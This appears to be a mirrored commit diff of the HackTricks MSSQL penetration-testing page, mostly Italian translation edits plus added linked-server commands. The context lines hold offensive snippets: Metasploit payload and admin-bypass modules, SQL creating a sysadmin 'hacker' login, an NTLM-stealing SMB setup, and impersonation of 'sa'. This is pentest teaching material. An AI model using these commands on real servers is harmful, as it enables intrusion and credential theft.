mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql-
This commit is contained in:
parent
f3c783f178
commit
6f0ec2aec3
1 changed files with 24 additions and 13 deletions
|
@ -37,7 +37,7 @@ Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
|||
|
||||
* **master Database**: Questo database è cruciale in quanto cattura tutti i dettagli a livello di sistema per un'istanza di SQL Server.
|
||||
* **msdb Database**: SQL Server Agent utilizza questo database per gestire la pianificazione di avvisi e lavori.
|
||||
* **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro sono riflesse nei database appena creati.
|
||||
* **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro vengono replicate nei database appena creati.
|
||||
* **Resource Database**: Un database di sola lettura che ospita oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel database Resource, sono presentati logicamente nello schema sys di ogni database.
|
||||
* **tempdb Database**: Funziona come un'area di archiviazione temporanea per oggetti transitori o set di risultati intermedi.
|
||||
|
||||
|
@ -86,9 +86,9 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
|||
#Add new admin user from meterpreter session
|
||||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
### [**Forza bruta**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
### [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||
|
||||
### Enumerazione manuale
|
||||
### Enumerazione Manuale
|
||||
|
||||
#### Accesso
|
||||
```bash
|
||||
|
@ -126,6 +126,11 @@ select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create
|
|||
#Create user with sysadmin privs
|
||||
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
|
||||
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
|
||||
|
||||
#Enumerate links
|
||||
enum_links
|
||||
#Use a link
|
||||
use_link [NAME]
|
||||
```
|
||||
#### Ottieni Utente
|
||||
|
||||
|
@ -157,7 +162,7 @@ SELECT * FROM sysusers
|
|||
* **Server** – Esempi includono database, logins, endpoint, gruppi di disponibilità e ruoli di server.
|
||||
* **Database** – Esempi coprono ruoli di database, ruoli di applicazione, schema, certificati, cataloghi di testo completo e utenti.
|
||||
* **Schema** – Include tabelle, viste, procedure, funzioni, sinonimi, ecc.
|
||||
2. **Permission:** Associato a securables di SQL Server, permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli:
|
||||
2. **Permission:** Associato ai securables di SQL Server, permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli:
|
||||
* **Server Level** utilizzando logins
|
||||
* **Database Level** utilizzando utenti
|
||||
3. **Principal:** Questo termine si riferisce all'entità a cui viene concesso il permesso di un securable. I principali includono principalmente logins e utenti di database. Il controllo sull'accesso ai securables è esercitato attraverso la concessione o il diniego di permessi o includendo logins e utenti in ruoli dotati di diritti di accesso.
|
||||
|
@ -185,7 +190,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
|||
### Eseguire comandi OS
|
||||
|
||||
{% hint style="danger" %}
|
||||
Nota che per poter eseguire comandi non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere il **permesso EXECUTE sulla stored procedure `xp_cmdshell`**. Puoi scoprire chi (eccetto gli sysadmin) può usare **`xp_cmdshell`** con:
|
||||
Nota che per poter eseguire comandi non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere il **permesso EXECUTE sulla stored procedure `xp_cmdshell`**. Puoi scoprire chi (eccetto gli sysadmin) può utilizzare **`xp_cmdshell`** con:
|
||||
```sql
|
||||
Use master
|
||||
EXEC sp_helprotect 'xp_cmdshell'
|
||||
|
@ -233,7 +238,7 @@ sudo impacket-smbserver share ./ -smb2support
|
|||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Puoi controllare chi (oltre agli sysadmin) ha i permessi per eseguire quelle funzioni MSSQL con:
|
||||
Puoi controllare chi (a parte gli sysadmin) ha i permessi per eseguire quelle funzioni MSSQL con:
|
||||
```sql
|
||||
Use master;
|
||||
EXEC sp_helprotect 'xp_dirtree';
|
||||
|
@ -249,7 +254,7 @@ Puoi vedere come utilizzare questi strumenti in:
|
|||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Abusare dei Link di MSSQL
|
||||
### Abusare dei collegamenti fidati MSSQL
|
||||
|
||||
[**Leggi questo post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **per trovare ulteriori informazioni su come abusare di questa funzionalità:**
|
||||
|
||||
|
@ -257,7 +262,7 @@ Puoi vedere come utilizzare questi strumenti in:
|
|||
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Scrivere File**
|
||||
### **Scrivere file**
|
||||
|
||||
Per scrivere file utilizzando `MSSQL`, dobbiamo **abilitare** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), che richiede privilegi di amministratore, e poi eseguire alcune procedure memorizzate per creare il file:
|
||||
```bash
|
||||
|
@ -300,7 +305,7 @@ Esempio di tentativo di eseguire un **'R'** _"Hellow World!"_ **non funzionante*
|
|||
|
||||
![](<../../.gitbook/assets/image (393).png>)
|
||||
|
||||
Esempio di utilizzo di Python configurato per eseguire diverse azioni:
|
||||
Esempio di utilizzo di python configurato per eseguire diverse azioni:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
|
@ -415,6 +420,11 @@ WHERE a.permission_name = 'IMPERSONATE'
|
|||
EXECUTE AS LOGIN = 'sa'
|
||||
SELECT SYSTEM_USER
|
||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
|
||||
# If you can't find any users, make sure to check for links
|
||||
enum_links
|
||||
# If there is a link of interest, re-run the above steps on each link
|
||||
use_link [NAME]
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Se puoi impersonare un utente, anche se non è sysadmin, dovresti controllare se l'utente ha accesso ad altri database o server collegati.
|
||||
|
@ -450,7 +460,7 @@ Un attaccante può estrarre le password dei Server Collegati di SQL Server dalle
|
|||
|
||||
Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, devi avere diritti di Amministratore sulla macchina, o la capacità di gestire le Configurazioni di SQL Server.
|
||||
|
||||
Dopo aver convalidato i tuoi permessi, devi configurare tre cose, che sono le seguenti:
|
||||
Dopo aver convalidato le tue autorizzazioni, devi configurare tre cose, che sono le seguenti:
|
||||
|
||||
1. Abilitare TCP/IP sulle istanze di SQL Server;
|
||||
2. Aggiungere un parametro di Avvio, in questo caso, verrà aggiunto un flag di traccia, che è -T7806.
|
||||
|
@ -460,7 +470,7 @@ Per automatizzare queste configurazioni, [questo repository](https://github.com/
|
|||
|
||||
Per ulteriori informazioni, fai riferimento ai seguenti link riguardanti questo attacco: [Decrittografare le Password dei Server di Collegamento del Database MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Risoluzione dei Problemi della Connessione Amministrativa Dedicata di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Risoluzione dei Problemi con la Connessione Amministrativa Dedicata di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalation dei Privilegi Locali
|
||||
|
||||
|
@ -488,6 +498,7 @@ Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di qu
|
|||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||
* [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -552,8 +563,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue